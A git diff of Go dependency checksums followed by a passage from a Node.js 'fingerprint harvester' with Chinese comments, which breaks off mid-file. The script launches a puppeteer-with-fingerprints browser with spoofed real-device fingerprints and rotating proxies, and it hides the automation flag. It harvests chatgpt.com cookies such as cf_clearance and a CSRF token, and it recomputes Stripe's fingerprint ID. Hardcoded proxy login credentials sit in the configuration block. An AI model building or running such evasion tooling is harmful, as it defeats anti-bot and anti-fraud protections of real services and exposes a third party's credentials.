+github.com/gin-contrib/sse v1.1.0/go.mod h1:hxRZ5gVpWMT7Z0B0gSNYqqsSCNIJMjzvm6fqCz9vjwM= +github.com/gin-gonic/gin v1.12.0 h1:b3YAbrZtnf8N//yjKeU2+MQsh2mY5htkZidOM7O0wG8= +github.com/gin-gonic/gin v1.12.0/go.mod h1:VxccKfsSllpKshkBWgVgRniFFAzFb9csfngsqANjnLc= +github.com/glebarez/go-sqlite v1.21.2 h1:3a6LFC4sKahUunAmynQKLZceZCOzUthkRkEAl9gAXWo= +github.com/glebarez/go-sqlite v1.21.2/go.mod h1:sfxdZyhQjTM2Wry3gVYWaW072Ri1WMdWJi0k6+3382k= +github.com/glebarez/sqlite v1.11.0 h1:wSG0irqzP6VurnMEpFGer5Li19RpIRi2qvQz++w0GMw= +github.com/glebarez/sqlite v1.11.0/go.mod h1:h8/o8j5wiAsqSPoWELDUdJXhjAhsVliSn7bWZjOhrgQ= +github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA= +github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY= +github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY= +github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY= +github.com/go-playground/validator/v10 v10.30.1 h1:f3zDSN/zOma+w6+1Wswgd9fLkdwy06ntQJp0BBvFG0w= +github.com/go-playground/validator/v10 v10.30.1/go.mod h1:oSuBIQzuJxL//3MelwSLD5hc2Tu889bF0Idm9Dg26cM= +github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4= +github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M= +github.com/goccy/go-yaml v1.19.2 h1:PmFC1S6h8ljIz6gMRBopkjP1TVT7xuwrButHID66PoM= +github.com/goccy/go-yaml v1.19.2/go.mod h1:XBurs7gK8ATbW4ZPGKgcbrY1Br56PdM69F7LkFRi1kA= +github.com/golang-jwt/jwt/v5 v5.3.1 h1:kYf81DTWFe7t+1VvL7eS+jKFVWaUnK9cB1qbwn63YCY= +github.com/golang-jwt/jwt/v5 v5.3.1/go.mod h1:fxCRLWMO43lRc8nhHWY6LGqRcf+1gQWArsqaEUEa5bE= +github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= +github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= +github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E= +github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc= +github.com/jinzhu/now v1.1.5 h1:/o9tlHleP7gOFmsnYNz3RGnqzefHA47wQpKrrdTIwXQ= +github.com/jinzhu/now v1.1.5/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8= +github.com/joho/godotenv v1.5.1 h1:7eLL/+HRGLY0ldzfGMeQkb7vMd0as4CfYvUVzLqw0N0= +github.com/joho/godotenv v1.5.1/go.mod h1:f4LDr5Voq0i2e/R5DDNOoa2zzDfwtkZa6DnEwAbqwq4= +github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= +github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= +github.com/klauspost/compress v1.18.2 h1:iiPHWW0YrcFgpBYhsA6D1+fqHssJscY/Tm/y2Uqnapk= +github.com/klauspost/compress v1.18.2/go.mod h1:R0h/fSBs8DE4ENlcrlib3PsXS61voFxhIs2DeRhCvJ4= +github.com/klauspost/cpuid/v2 v2.3.0 h1:S4CRMLnYUhGeDFDqkGriYKdfoFlDnMtqTiI/sFzhA9Y= +github.com/klauspost/cpuid/v2 v2.3.0/go.mod h1:hqwkgyIinND0mEev00jJYCxPNVRVXFQeu1XKlok6oO0= +github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= +github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= +github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= +github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= +github.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ= +github.com/leodido/go-urn v1.4.0/go.mod h1:bvxc+MVxLKB4z00jd1z+Dvzr47oO32F/QSNjSBOlFxI= +github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= +github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= +github.com/mattn/go-sqlite3 v1.14.22 h1:2gZY6PC6kBnID23Tichd1K+Z0oS6nE/XwU+Vz/5o4kU= +github.com/mattn/go-sqlite3 v1.14.22/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y= +github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= +github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= +github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= +github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M= +github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= +github.com/pelletier/go-toml/v2 v2.2.4 h1:mye9XuhQ6gvn5h28+VilKrrPoQVanw5PMw/TB0t5Ec4= +github.com/pelletier/go-toml/v2 v2.2.4/go.mod h1:2gIqNv+qfxSVS7cM2xJQKtLSTLUE9V8t9Stt+h56mCY= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/quic-go/qpack v0.6.0 h1:g7W+BMYynC1LbYLSqRt8PBg5Tgwxn214ZZR34VIOjz8= +github.com/quic-go/qpack v0.6.0/go.mod h1:lUpLKChi8njB4ty2bFLX2x4gzDqXwUpaO1DP9qMDZII= +github.com/quic-go/quic-go v0.59.0 h1:OLJkp1Mlm/aS7dpKgTc6cnpynnD2Xg7C1pwL6vy/SAw= +github.com/quic-go/quic-go v0.59.0/go.mod h1:upnsH4Ju1YkqpLXC305eW3yDZ4NfnNbmQRCMWS58IKU= +github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= +github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE= +github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= +github.com/rogpeppe/go-internal v1.10.0 h1:TMyTOH3F/DB16zRVcYyreMH6GnZZrwQVAoYjRBZyWFQ= +github.com/rogpeppe/go-internal v1.10.0/go.mod h1:UQnix2H7Ngw/k4C5ijL5+65zddjncjaFoBhdsK/akog= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= +github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= +github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA= +github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= +github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= +github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= +github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= +github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U= +github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U= +github.com/tam7t/hpkp v0.0.0-20160821193359-2b70b4024ed5 h1:YqAladjX7xpA6BM04leXMWAEjS0mTZ5kUU9KRBriQJc= +github.com/tam7t/hpkp v0.0.0-20160821193359-2b70b4024ed5/go.mod h1:2JjD2zLQYH5HO74y5+aE3remJQvl6q4Sn6aWA2wD1Ng= +github.com/twitchyliquid64/golang-asm v0.15.1 h1:SU5vSMR7hnwNxj24w34ZyCi/FmDZTkS4MhqMhdFk5YI= +github.com/twitchyliquid64/golang-asm v0.15.1/go.mod h1:a1lVb/DtPvCB8fslRZhAngC2+aY1QWCk3Cedj/Gdt08= +github.com/ugorji/go/codec v1.3.1 h1:waO7eEiFDwidsBN6agj1vJQ4AG7lh2yqXyOXqhgQuyY= +github.com/ugorji/go/codec v1.3.1/go.mod h1:pRBVtBSKl77K30Bv8R2P+cLSGaTtex6fsA2Wjqmfxj4= +github.com/xyproto/randomstring v1.0.5 h1:YtlWPoRdgMu3NZtP45drfy1GKoojuR7hmRcnhZqKjWU= +github.com/xyproto/randomstring v1.0.5/go.mod h1:rgmS5DeNXLivK7YprL0pY+lTuhNQW3iGxZ18UQApw/E= +go.mongodb.org/mongo-driver/v2 v2.5.0 h1:yXUhImUjjAInNcpTcAlPHiT7bIXhshCTL3jVBkF3xaE= +go.mongodb.org/mongo-driver/v2 v2.5.0/go.mod h1:yOI9kBsufol30iFsl1slpdq1I0eHPzybRWdyYUs8K/0= +go.uber.org/mock v0.5.2 h1:LbtPTcP8A5k9WPXj54PPPbjcI4Y6lhyOZXn+VS7wNko= +go.uber.org/mock v0.5.2/go.mod h1:wLlUxC2vVTPTaE3UD51E0BGOAElKrILxhVSDYQLld5o= +golang.org/x/arch v0.22.0 h1:c/Zle32i5ttqRXjdLyyHZESLD/bB90DCU1g9l/0YBDI= +golang.org/x/arch v0.22.0/go.mod h1:dNHoOeKiyja7GTvF9NJS1l3Z2yntpQNzgrjh1cU103A= +golang.org/x/crypto v0.46.0 h1:cKRW/pmt1pKAfetfu+RCEvjvZkA9RimPbh7bhFjGVBU= +golang.org/x/crypto v0.46.0/go.mod h1:Evb/oLKmMraqjZ2iQTwDwvCtJkczlDuTmdJXoZVzqU0= +golang.org/x/crypto v0.49.0 h1:+Ng2ULVvLHnJ/ZFEq4KdcDd/cfjrrjjNSXNzxg0Y4U4= +golang.org/x/crypto v0.49.0/go.mod h1:ErX4dUh2UM+CFYiXZRTcMpEcN8b/1gxEuv3nODoYtCA= +golang.org/x/net v0.0.0-20211104170005-ce137452f963/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.48.0 h1:zyQRTTrjc33Lhh0fBgT/H3oZq9WuvRR5gPC70xpDiQU= +golang.org/x/net v0.48.0/go.mod h1:+ndRgGjkh8FGtu1w1FGbEC31if4VrNVMuKTgcAAnQRY= +golang.org/x/net v0.51.0 h1:94R/GTO7mt3/4wIKpcR5gkGmRLOuE/2hNGeWq/GBIFo= +golang.org/x/net v0.51.0/go.mod h1:aamm+2QF5ogm02fjy5Bb7CQ0WMt1/WVM7FtyaTLlA9Y= +golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.39.0 h1:CvCKL8MeisomCi6qNZ+wbb0DN9E5AATixKsvNtMoMFk= +golang.org/x/sys v0.39.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks= +golang.org/x/sys v0.42.0 h1:omrd2nAlyT5ESRdCLYdm3+fMfNFE/+Rf4bDIQImRJeo= +golang.org/x/sys v0.42.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= +golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= +golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.32.0 h1:ZD01bjUt1FQ9WJ0ClOL5vxgxOI/sVCNgX1YtKwcY0mU= +golang.org/x/text v0.32.0/go.mod h1:o/rUWzghvpD5TXrTIBuJU77MTaN0ljMWE47kxGJQ7jY= +golang.org/x/text v0.35.0 h1:JOVx6vVDFokkpaq1AEptVzLTpDe9KGpj5tR4/X+ybL8= +golang.org/x/text v0.35.0/go.mod h1:khi/HExzZJ2pGnjenulevKNX1W67CUy0AsXcNubPGCA= +golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +google.golang.org/protobuf v1.36.10 h1:AYd7cD/uASjIL6Q9LiTjz8JLcrh/88q5UObnmY3aOOE= +google.golang.org/protobuf v1.36.10/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= +gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gorm.io/driver/sqlite v1.6.0 h1:WHRRrIiulaPiPFmDcod6prc4l2VGVWHz80KspNsxSfQ= +gorm.io/driver/sqlite v1.6.0/go.mod h1:AO9V1qIQddBESngQUKWL9yoH93HIeA1X6V633rBwyT8= +gorm.io/gorm v1.31.1 h1:7CA8FTFz/gRfgqgpeKIBcervUn3xSyPUmr6B2WXJ7kg= +gorm.io/gorm v1.31.1/go.mod h1:XyQVbO2k6YkOis7C2437jSit3SsDK72s7n7rsSHd+Gs= +modernc.org/libc v1.22.5 h1:91BNch/e5B0uPbJFgqbxXuOnxBQjlS//icfQEGmvyjE= +modernc.org/libc v1.22.5/go.mod h1:jj+Z7dTNX8fBScMVNRAYZ/jF91K8fdT2hYMThc3YjBY= +modernc.org/mathutil v1.5.0 h1:rV0Ko/6SfM+8G+yKiyI830l3Wuz1zRutdslNoQ0kfiQ= +modernc.org/mathutil v1.5.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E= +modernc.org/memory v1.5.0 h1:N+/8c5rE6EqugZwHii4IFsaJ7MUhoWX07J5tC/iI5Ds= +modernc.org/memory v1.5.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU= +modernc.org/sqlite v1.23.1 h1:nrSBg4aRQQwq59JpvGEQ15tNxoO5pX/kUjcRNwSAGQM= +modernc.org/sqlite v1.23.1/go.mod h1:OrDj17Mggn6MhE+iPbBNf7RGKODDE9NFT0f3EwDzJqk= diff --git a/harvest_fp_puppeteer.js b/harvest_fp_puppeteer.js new file mode 100644 index 0000000..2d76b4b --- /dev/null +++ b/harvest_fp_puppeteer.js @@ -0,0 +1,442 @@ +#!/usr/bin/env node +/** + * 指纹采集器 - puppeteer-with-fingerprints 版 + * + * 使用 BAS FingerprintSwitcher 在 C++ 层修改浏览器指纹 + * 每次启动获取一个真实设备指纹 + 独立代理 IP + * + * 用法: + * node harvest_fp_puppeteer.js # 采集 5 个 KR 指纹 + * node harvest_fp_puppeteer.js --count 10 --workers 5 # 10 个, 5 并行 + * node harvest_fp_puppeteer.js --region US --socks5 # US 地区, SOCKS5 + * node harvest_fp_puppeteer.js --test # 测试指纹 (bot.sannysoft.com) + * node harvest_fp_puppeteer.js --list # 列出已有指纹 + */ + +const { plugin } = require('puppeteer-with-fingerprints'); +const crypto = require('crypto'); +const fs = require('fs'); +const path = require('path'); + +// ── 配置 ── +const PROXY_HOST = 'us.nexip.cc'; +const PROXY_PORT = 3010; +const PROXY_BASE_USER = '8uk59M1TIb'; +const PROXY_PASSWORD = 'RabyyxxkRxXZ'; + +const REGION_CITIES = { + KR: 'Seoul', JP: 'Tokyo', US: 'LosAngeles', GB: 'London', + SG: 'Singapore', HK: 'HongKong', TW: 'Taipei', DE: 'Berlin', +}; + +const REGION_TZ = { + KR: 'Asia/Seoul', JP: 'Asia/Tokyo', US: 'America/New_York', + GB: 'Europe/London', SG: 'Asia/Singapore', HK: 'Asia/Hong_Kong', + TW: 'Asia/Taipei', DE: 'Europe/Berlin', +}; + +const FP_DIR = path.join(__dirname, 'fingerprints'); + +// ── 代理 URL 生成 ── +function buildProxyUrl(region, sid, useSocks5 = false) { + return 'http://192.168.1.2:10810'; +} + +// ── JS 采集脚本 (浏览器内执行) ── +const COLLECT_JS = `(() => { + const scr = screen; + return { + cookie_support: navigator.cookieEnabled, + do_not_track: navigator.doNotTrack === '1', + language: navigator.language || 'en-US', + platform: navigator.platform, + screen_size: scr.width + 'w_' + scr.height + 'h_' + scr.colorDepth + 'd_' + (window.devicePixelRatio||1) + 'r', + timezone_offset: String(-new Date().getTimezoneOffset() / 60), + timezone_name: Intl.DateTimeFormat().resolvedOptions().timeZone, + touch_support: 'ontouchstart' in window || navigator.maxTouchPoints > 0, + user_agent: navigator.userAgent, + cpu_cores: navigator.hardwareConcurrency, + memory_gb: navigator.deviceMemory || 0, + plugins: Array.from(navigator.plugins||[]).map(p => p.name).join(', '), + webgl_vendor: (() => { + try { + const c = document.createElement('canvas'); + const gl = c.getContext('webgl') || c.getContext('experimental-webgl'); + const ext = gl.getExtension('WEBGL_debug_renderer_info'); + return ext ? gl.getParameter(ext.UNMASKED_VENDOR_WEBGL) : ''; + } catch(e) { return ''; } + })(), + webgl_renderer: (() => { + try { + const c = document.createElement('canvas'); + const gl = c.getContext('webgl') || c.getContext('experimental-webgl'); + const ext = gl.getExtension('WEBGL_debug_renderer_info'); + return ext ? gl.getParameter(ext.UNMASKED_RENDERER_WEBGL) : ''; + } catch(e) { return ''; } + })(), + }; +})()`; + +const CANVAS_JS = `(() => { + const c = document.createElement('canvas'); + c.height = 60; c.width = 400; + const ctx = c.getContext('2d'); + ctx.textBaseline = 'alphabetic'; + ctx.fillStyle = '#f60'; ctx.fillRect(125, 1, 62, 20); + ctx.fillStyle = '#069'; ctx.font = '11pt Arial'; + ctx.fillText('Cwm fjordbank glyphs vext quiz, \\u{1F603}', 2, 15); + ctx.fillStyle = 'rgba(102, 204, 0, 0.7)'; ctx.font = '18pt Arial'; + ctx.fillText('Cwm fjordbank glyphs vext quiz, \\u{1F603}', 4, 45); + return c.toDataURL(); +})()`; + +const FONTS_JS = `(() => { + const baseFonts = ['monospace', 'sans-serif', 'serif']; + const testFonts = [ + 'Andale Mono','Arial','Arial Black','Arial Hebrew','Arial Narrow', + 'Arial Rounded MT Bold','Arial Unicode MS','Bitstream Vera Sans Mono', + 'Book Antiqua','Bookman Old Style','Calibri','Cambria','Cambria Math', + 'Century','Century Gothic','Century Schoolbook','Comic Sans MS', + 'Consolas','Courier','Courier New','Geneva','Georgia','Helvetica', + 'Helvetica Neue','Impact','Lucida Bright','Lucida Calligraphy', + 'Lucida Console','Lucida Fax','Lucida Grande','Lucida Handwriting', + 'Lucida Sans','Lucida Sans Typewriter','Lucida Sans Unicode', + 'Microsoft Sans Serif','Monaco','Monotype Corsiva','MS Gothic', + 'MS PGothic','MS Reference Sans Serif','MS Sans Serif','MS Serif', + 'MYRIAD PRO','Palatino','Palatino Linotype','Segoe Print', + 'Segoe Script','Segoe UI','Segoe UI Light','Segoe UI Semibold', + 'Segoe UI Symbol','Tahoma','Times','Times New Roman','Trebuchet MS', + 'Verdana','Wingdings','Wingdings 2','Wingdings 3' + ]; + const span = document.createElement('span'); + span.style.fontSize = '72px'; + span.style.visibility = 'hidden'; + span.style.position = 'absolute'; + span.textContent = 'mmmmmmmmmmlli'; + document.body.appendChild(span); + const baseWidths = {}; + for (const base of baseFonts) { + span.style.fontFamily = base; + baseWidths[base] = span.offsetWidth; + } + let bits = ''; + for (const font of testFonts) { + let detected = false; + for (const base of baseFonts) { + span.style.fontFamily = "'" + font + "', " + base; + if (span.offsetWidth !== baseWidths[base]) { detected = true; break; } + } + bits += detected ? '1' : '0'; + } + document.body.removeChild(span); + return bits; +})()`; + +// ── Stripe fingerprint ID 计算 ── +function computeStripeId(fp) { + const vals = [ + String(fp.cookie_support || true).toLowerCase(), + String(fp.do_not_track || false).toLowerCase(), + fp.language || 'en-US', + fp.platform || 'Win32', + fp.plugins || '', + fp.screen_size || '1920w_1080h_32d_1r', + fp.timezone_offset || '0', + String(fp.touch_support || false).toLowerCase(), + 'sessionStorage-enabled, localStorage-enabled', + fp.fonts_bits || '', + '', // WebGL + fp.user_agent || '', + '', // Flash + 'false', + fp.canvas_hash || '', + ]; + return crypto.createHash('md5').update(vals.join(' ')).digest('hex'); +} + +// ── 采集一个指纹 ── +async function harvestOne(region, index, useSocks5 = false, testMode = false, harvestUrl = null) { + const sid = crypto.randomBytes(4).toString('hex'); + const proxyUrl = buildProxyUrl(region, sid, useSocks5); + + console.log(`\n[${index}] 代理 sid=${sid}, ${useSocks5 ? 'socks5' : 'http'}`); + + try { + // 获取真实设备指纹 (从 FingerprintSwitcher 服务) + console.log(` [指纹] 正在获取真实设备指纹...`); + const fingerprint = await plugin.fetch({ + tags: ['Microsoft Windows', 'Chrome'], + }); + console.log(` [指纹] 已获取`); + + // 应用指纹 + 代理 + plugin.useFingerprint(fingerprint); + plugin.useProxy(proxyUrl, { + changeTimezone: true, + changeGeolocation: true, + }); + + // 启动浏览器 + const browser = await plugin.launch({ + headless: false, + args: ['--disable-blink-features=AutomationControlled'], + }); + + const page = await browser.newPage(); + page.setDefaultTimeout(45000); + + if (testMode) { + // 测试模式: 访问指纹检测网站 + console.log(` [测试] 访问 bot.sannysoft.com ...`); + await page.goto('https://bot.sannysoft.com/', { waitUntil: 'networkidle2', timeout: 60000 }); + await new Promise(r => setTimeout(r, 5000)); + + const screenshotPath = path.join(__dirname, `fp_test_${index}.png`); + await page.screenshot({ path: screenshotPath, fullPage: true }); + console.log(` [截图] ${screenshotPath}`); + + // 再测试 browserscan + const page2 = await browser.newPage(); + console.log(` [测试] 访问 browserscan.net ...`); + await page2.goto('https://www.browserscan.net/', { waitUntil: 'networkidle2', timeout: 60000 }); + await new Promise(r => setTimeout(r, 8000)); + + const screenshotPath2 = path.join(__dirname, `fp_test_browserscan_${index}.png`); + await page2.screenshot({ path: screenshotPath2, fullPage: true }); + console.log(` [截图] ${screenshotPath2}`); + + await browser.close(); + return { test: true, screenshots: [screenshotPath, screenshotPath2] }; + } + + // 正常模式: 访问指定 URL 或 chatgpt.com 采集指纹 + const targetUrl = harvestUrl || 'https://chatgpt.com/'; + console.log(` [采集] 访问 ${targetUrl.substring(0, 80)}...`); + await page.goto(targetUrl, { waitUntil: 'networkidle2', timeout: 60000 }); + // 等待页面完全加载 (SPA + Stripe 指纹脚本) + await new Promise(r => setTimeout(r, 5000)); + + let info = {}; + let canvasDataUrl = ''; + let fontsBits = ''; + + try { + info = await page.evaluate(COLLECT_JS); + console.log(` [采集] 基础信息: OK (UA=${(info.user_agent||'').substring(0,40)}...)`); + } catch (e) { + console.log(` [采集] 基础信息失败: ${e.message}`); + // 回退: 直接从 navigator 取关键值 + info = await page.evaluate(() => ({ + user_agent: navigator.userAgent, + platform: navigator.platform, + language: navigator.language, + screen_size: screen.width + 'w_' + screen.height + 'h_' + screen.colorDepth + 'd_' + (window.devicePixelRatio||1) + 'r', + timezone_offset: String(-new Date().getTimezoneOffset() / 60), + timezone_name: Intl.DateTimeFormat().resolvedOptions().timeZone, + cookie_support: navigator.cookieEnabled, + do_not_track: navigator.doNotTrack === '1', + touch_support: navigator.maxTouchPoints > 0, + cpu_cores: navigator.hardwareConcurrency, + memory_gb: navigator.deviceMemory || 0, + plugins: '', + webgl_vendor: '', + webgl_renderer: '', + })); + } + + try { + canvasDataUrl = await page.evaluate(CANVAS_JS); + if (typeof canvasDataUrl !== 'string') canvasDataUrl = ''; + console.log(` [采集] Canvas: OK`); + } catch (e) { + console.log(` [采集] Canvas 失败: ${e.message}`); + } + + try { + const rawFonts = await page.evaluate(FONTS_JS); + fontsBits = typeof rawFonts === 'string' ? rawFonts : ''; + console.log(` [采集] Fonts: OK (${fontsBits.length}位)`); + } catch (e) { + console.log(` [采集] Fonts 失败: ${e.message}`); + } + + // 采集 chatgpt.com 的 cookies (oai-did, cf_clearance, csrf-token 等) + const cookies = await page.cookies(); + const oaiDid = cookies.find(c => c.name === 'oai-did')?.value || ''; + const cfClearance = cookies.find(c => c.name === 'cf_clearance')?.value || ''; + const csrfCookie = cookies.find(c => c.name === '__Host-next-auth.csrf-token')?.value || ''; + console.log(` [采集] Cookies: ${cookies.length} 个, oai-did=${oaiDid ? '有' : '无'}, cf=${cfClearance ? '有' : '无'}`); + + // 获取真实出口 IP + let realIp = 'unknown'; + try { + await page.goto('https://api.ipify.org?format=json', { waitUntil: 'domcontentloaded', timeout: 15000 }); + const ipText = await page.evaluate(() => document.body.innerText); + realIp = JSON.parse(ipText).ip || 'unknown'; + } catch (e) { + // ignore + } + + await browser.close(); + + const canvasStr = typeof canvasDataUrl === 'string' ? canvasDataUrl : JSON.stringify(canvasDataUrl); + const canvasHash = crypto.createHash('md5').update(canvasStr).digest('hex'); + + const fontsStr = typeof fontsBits === 'string' ? fontsBits : String(fontsBits || ''); + + const fp = { + ...info, + fonts_bits: fontsStr, + canvas_hash: canvasHash, + // chatgpt.com 采集的 cookies + oai_did: oaiDid, + cf_clearance: cfClearance, + csrf_token: csrfCookie, + cookies: cookies.map(c => ({ name: c.name, value: c.value, domain: c.domain })), + region, + proxy_ip: realIp, + proxy_sid: sid, + harvested_at: new Date().toISOString(), + source: 'puppeteer-with-fingerprints', + }; + + fp.stripe_fingerprint_id = computeStripeId(fp); + + console.log(` IP=${realIp}, UA=${(info.user_agent || '').substring(0, 50)}...`); + console.log(` Canvas=${canvasHash}, Fonts=${fontsStr.substring(0, 30)}...(${fontsStr.length}位)`); + console.log(` WebGL=${info.webgl_renderer?.substring(0, 50) || '?'}`); + console.log(` OAI-DID=${oaiDid || '无'}, CF=${cfClearance ? '有' : '无'}`); + console.log(` Cookies: ${cookies.length} 个`); + console.log(` Stripe ID=${fp.stripe_fingerprint_id}`); + + return fp; + } catch (e) { + console.log(` [!] 失败: ${e.message}`); + return null; + } +} + +// ── 并行批量采集 ── +async function harvestBatch(count, region, useSocks5, workers, testMode, harvestUrl) { + if (!fs.existsSync(FP_DIR)) fs.mkdirSync(FP_DIR, { recursive: true }); + + console.log('='.repeat(60)); + console.log(` 指纹批量挖取: ${count} 个, 地区=${region}`); + console.log(` 并行数=${workers}, 代理协议=${useSocks5 ? 'socks5' : 'http'}`); + console.log(` 引擎: puppeteer-with-fingerprints 